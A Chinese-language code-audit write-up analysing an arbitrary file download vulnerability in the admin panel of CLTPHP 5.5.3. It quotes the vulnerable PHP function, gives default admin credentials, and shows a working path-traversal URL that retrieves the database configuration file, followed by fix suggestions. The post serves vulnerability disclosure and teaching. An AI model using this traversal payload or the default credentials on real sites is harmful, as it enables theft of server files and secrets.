1. 程式人生 > >【程式碼審計】CLTPHP_v5.5.3後臺任意檔案下載漏洞分析

【程式碼審計】CLTPHP_v5.5.3後臺任意檔案下載漏洞分析

 

0x00 環境準備

CLTPHP官網:http://www.cltphp.com

網站原始碼版本:CLTPHP內容管理系統5.5.3版本

程式原始碼下載:https://gitee.com/chichu/cltphp

預設後臺地址: http://127.0.0.1/admin/login/index.html

預設賬號密碼: 後臺登入名:admin  密碼:admin123

測試網站首頁:

 

 

0x01 程式碼分析

1、/app/admin/controller/Database.php  第203-219行:

  1. public function downFile() {  
  2.     $file = $this->request->param('file');  
  3.     $type = $this->request->param('type');  
  4.     if (empty($file) || empty($type) || !in_array($type, array("zip", "sql"))) {  
  5.         $this->error("下載地址不存在");  
  6.     }  
  7.     $path = array("zip" => $this->datadir."zipdata/", "sql" => $this->datadir);  
  8.     $filePath = $path[$type] . $file;  
  9.     if (!file_exists($filePath)) {  
  10. 10.         $this->error("該檔案不存在,可能是被刪除");  
  11. 11.     }  
  12. 12.     $filename = basename($filePath);  
  13. 13.     header("Content-type: application/octet-stream");  
  14. 14.     header('Content-Disposition: attachment; filename="' . $filename . '"');  
  15. 15.     header("Content-Length: " . filesize($filePath));  
  16. 16.     readfile($filePath);  

17. }  

       在這段函式中,引數file未經任何處理,直接進行引數拼接,然後下載,導致程式在實現上存在任意檔案下載漏洞,可以構造引數下載伺服器任意檔案,如指令碼程式碼,服務及系統配置檔案等;可用得到的程式碼進一步程式碼審計,得到更多可利用漏洞。

0x02 漏洞利用

1、登入網站後臺,構造url引數下載網站配置檔案:

http://127.0.0.1/admin/Database/downFile.html?type=sql&file=..\\..\\app\\database.php

2、成功下載資料庫配置檔案,獲取敏感資訊內容

 

0x03 修復建議

1、在下載前對傳入的引數進行過濾,直接將..替換成空,就可以簡單實現防範的目的

2、最好還是可以對待下載檔案型別進行二次檢查,判斷是否允許下載型別。

最後

歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。